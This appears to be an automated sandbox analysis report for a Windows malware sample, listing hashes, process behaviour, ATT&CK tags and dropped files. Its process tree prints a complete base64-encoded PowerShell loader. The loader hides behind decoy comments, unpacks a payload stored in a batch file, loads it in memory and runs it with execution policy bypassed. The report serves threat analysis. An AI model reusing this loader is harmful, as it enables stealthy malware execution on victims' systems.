ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c

Analysis

max time kernel
120s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
14/04/2024, 01:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c.exe
Size 254KB
Sample240414-bdjtkafd2y
SHA256 ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c
MD5 a2d01b94b6d7cf7eb09e6c4ae853a70c
SHA1 470a6961cbc4eaf038aa9bf48aa1038fa0488d60
SHA512 4bf7431f41b7e3ac429d31bd745f4aec8ecb43a41f3c9a724b95836f646d3700e7f67167c4958ce95e134215e5bfd197cc5fc7de2c56da3cdca9750a734599d4
SSDEEP 6144:xfL+oqShnjsVl3dRQTLbd/z32wQxhYn9/KCg5bbiWMkMk:xfLNnjsVlNujJzicnlYbTVf
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2564	powershell.exe
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 2992	1752	ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c.exe	28
PID 1752 wrote to memory of 2992	1752	ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c.exe	28
PID 1752 wrote to memory of 2992	1752	ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c.exe	28
PID 1752 wrote to memory of 2992	1752	ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c.exe	28
PID 2992 wrote to memory of 2628	2992	wscript.exe	29
PID 2992 wrote to memory of 2628	2992	wscript.exe	29
PID 2992 wrote to memory of 2628	2992	wscript.exe	29
PID 2992 wrote to memory of 2628	2992	wscript.exe	29
PID 2628 wrote to memory of 2564	2628	cmd.exe	31
PID 2628 wrote to memory of 2564	2628	cmd.exe	31
PID 2628 wrote to memory of 2564	2628	cmd.exe	31
PID 2628 wrote to memory of 2564	2628	cmd.exe	31
PID 2628 wrote to memory of 2796	2628	cmd.exe	32
PID 2628 wrote to memory of 2796	2628	cmd.exe	32
PID 2628 wrote to memory of 2796	2628	cmd.exe	32
PID 2628 wrote to memory of 2796	2628	cmd.exe	32

C:\Users\Admin\AppData\Local\Temp\ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c.exe
"C:\Users\Admin\AppData\Local\Temp\ed999c2336844e7496640b910fa5bbe256197c978744f089b6ce5f592f88c01c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCiMgQ2hlY2tpbmcgY3VycmVudCB3ZWF0aGVyIGNvbmRpdGlvbnMuLi4NCiMgUmV0cmlldmluZyBkYXRhIGZyb20gd2VhdGhlciBBUEkuLi4NCiMgV2VhdGhlciBmb3JlY2FzdCBmb3IgdG9kYXk6DQojIC0gVGVtcGVyYXR1cmU6IDIzwrBDDQojIC0gSHVtaWRpdHk6IDY1JQ0KIyAtIFdpbmQgU3BlZWQ6IDEwIGttL2gNCiMgSXQncyBhIHBsZWFzYW50IGRheSBvdXRzaWRlLg0KIyBDb25zaWRlciB0YWtpbmcgYSB3YWxrIGR1cmluZyBsdW5jaCBicmVhayENCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgImN2dHJlcy5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\cvtres.ps1' -Encoding UTF8"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2564
  - - C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\cvtres.ps1"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 cc006132b0bbb4a843c90f139ab1b4c57f323098ca9586b8ffe9a403c3ffac2b
MD5 dd4b7eb4f777e141ac2e6c319902388e
SHA1 0b2f196d4c01857304981917ff8f36e58b03de83
SHA512 0b24ca976b21bfe3946259925c9df65845a909780f722b87353b09cad0acba095861128c7c4797736004800f092082f01136a3ef5aed89dae4a90b4684a7b405
SSDEEP 96:EJ2CJM8bnqvsqvJCwotJ2CJM8bnqvsEHyqvJCwor+3c6VQHaZ7b3IXlUVE:U/fUo7/fAHnoryv3Z7rIL
MD5 SHA1 SHA512 SSDEEP

Submit Download

cvtres.ps1

Path C:\Users\Admin\cvtres.ps1
Size 2KB
SHA256 5fe00575bf949f07e2540dc9b6e90e3c0d72b2f37039830c4abc2285f835d104
MD5 0825a54602ea331f5627b72ab9dec51d
SHA1 293f9a27c8c48d641e962911cfc07a7e9ac08c6a
SHA512 c93336ddff1325cb16de12667733cb6f7eb9d307d03ca8d4fba6832b6517efaa7c1e085041424ddffa8a767b5cc23fe784403c91ea49e2c10657924a05c5946a
MD5 SHA1 SHA512

Submit Download

start.vbs

Path C:\Users\Admin\start.vbs
Size 143B
SHA256 8b1c9f37b2455175f260534847aed717824f8a1213696af8c2a0a485fb3576b6
MD5 1d4b27056d60880f980c362b6b4d6cad
SHA1 d795564ea34bd66d13f7d2db8a3bc3e86953adaa
SHA512 c5127a9ed85e7cbceee627a351a4a4a1ea4f908760564bb522869978dd157acb9789389c7083e0d7a0a83de004a371b1b389ec65b1844f7bf76317e62825a498
MD5 SHA1 SHA512

Submit Download

temp.bat

Path C:\Users\Admin\temp.bat
Size 196KB
SHA256 8df69a87548f9cec8c2086d95f1871bc9c946c0fc737cdb16e0f8bebd9e761e7
MD5 e8ccac423ab40141310994ecece68132
SHA1 f6eb963a9dc17bae65f01be4c8048da1456a1455
SHA512 d5791ba57b5b47d728e0e5ecca58466de03374e3e4d49eca2717259cda1d63abc4ff570413b3ae691221b55b1355596636a8fc21fda35dd4802885c158bd2aa5
SSDEEP 3072:fiaMR+dmFm6TTpDyJJ0j4ueDQprJyrJLFVxtJZP2rQ0TOwV9s5gKhSFRplhCwDag:rMzs6xDyluIQprSHT2JTOMs5RhSowDz
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2564-8-0x0000000074380000-0x000000007492B000-memory.dmp

Download

memory/2564-9-0x0000000074380000-0x000000007492B000-memory.dmp

Download

memory/2564-10-0x00000000028F0000-0x0000000002930000-memory.dmp

Download

memory/2564-12-0x0000000074380000-0x000000007492B000-memory.dmp

Download

memory/2796-18-0x0000000074330000-0x00000000748DB000-memory.dmp

Download

memory/2796-19-0x0000000074330000-0x00000000748DB000-memory.dmp

Download

memory/2796-22-0x0000000074330000-0x00000000748DB000-memory.dmp

Download

memory/2796-23-0x0000000074330000-0x00000000748DB000-memory.dmp

Download